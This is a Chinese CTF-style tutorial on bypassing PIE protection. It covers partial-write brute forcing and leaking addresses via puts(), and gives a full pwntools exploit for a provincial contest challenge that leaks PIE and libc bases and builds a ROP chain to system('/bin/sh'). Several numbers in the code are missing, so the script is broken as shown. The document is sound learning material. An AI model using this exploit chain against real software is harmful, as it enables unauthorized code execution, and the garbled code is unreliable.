PIE保护绕过
阅读原文时间:2023年07月09日阅读:1

(一):partial write

开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是0到f,例如:

list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]

列表里是第二位字节可能的值,使用循环进行爆破。

(二):泄露地址

PIE 保护机制,影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。

这是浙江省省赛的一道pwn题,首先查看保护:

发现只有栈溢出没开。

用IDA查看反汇编代码,发现由两处可以输入的地方:

第一处的输入用户名时候

第二处则是在输入算式结果的时候

经过分析发现,在输入用户名时函数并不会给字符串末尾加上 '\0' ,而 puts() 函数是在遇到 '\0' 时结束输出,故我们可以利用这一特性泄露内存。可以采用填充8个字节或16个字节来泄露内存。在使用填充16个字节泄露内存时应注意是 p.send('A'*16) 而非 p.sendline('A'*16),否则多出来的 '\n' 会影响接下来程序的执行。

第二处输入存在明显的栈溢出,故我们可以利用此处构造 payload。完整的exploit如下:

# -*- coding:utf- -*-
from pwn import *
libc = ELF('./libc.so.6')

context.log_level = 'debug'
p = process('./uninit')

libc=ELF('./libc.so.6')

gdb.attach(p)
p.sendafter("name:", 'A'*) # 发送填充16个字节
p.recvuntil('A'*)

PIE_addr = p.recvuntil("\n")
PIE_addr = u64(PIE_addr[:-].ljust(, '\x00')) #用u64()解包地址

PIE_addr=u64(p.readline()[:-].ljust(,'\x00'))

log.success("PIE_addr ==> {:#x}".format(PIE_addr))

base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #计算程序加载基地址

pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用于构造puts和system函数的参数
puts_plt = base1 + 0x940
offset = 0x30 + 0x8 #覆盖到栈底的填充字节
puts_got = base1 + 0x201F60
start_addr = base1 + 0x9c0 #程序起始运行处的地址
payload = offset*'A' + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(0x400, 'A')
#gdb.attach(p)
p.recvuntil("Tell me count of game:")
p.sendline('')

p.recvuntil("Answer:")
p.send(payload)
puts_addr = u64(p.recv().ljust(,'\x00'))

base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加载基地址

log.success("puts_addr ==> {:#x}".format(puts_addr))
log.success("base2 ==> {:#x}".format(base2))

system_addr=libc.symbols['system']+base2 #system函数的地址
bin_sh_addr=next(libc.search('/bin/sh'))+base2 #‘/bin/sh’的地址
log.success("bin_sh_addr ==> {:#x}".format(bin_sh_addr))
log.success("system_addr ==> {:#x}".format(system_addr))

payload2=offset*'A'+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
payload2+=p64(start_addr)
payload2=payload2.ljust(0x400,'\x00') #此处用‘\x00’填充是考虑到调用system时需要的环境变量

p.sendlineafter("name:",'A'*)
p.sendlineafter("game:",'')
p.sendafter("Answer:",payload2)

p.interactive("countfatcode $")

(三):vdso/vsyscall

尚待补充

————————————————————————————————————————————————————————————————————————————————————————

记录一个跟本篇无关的保护:

RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

  • Partial RELRO:ELF节重排,对GOT仍然可写
  • Full RELRO:GOT只读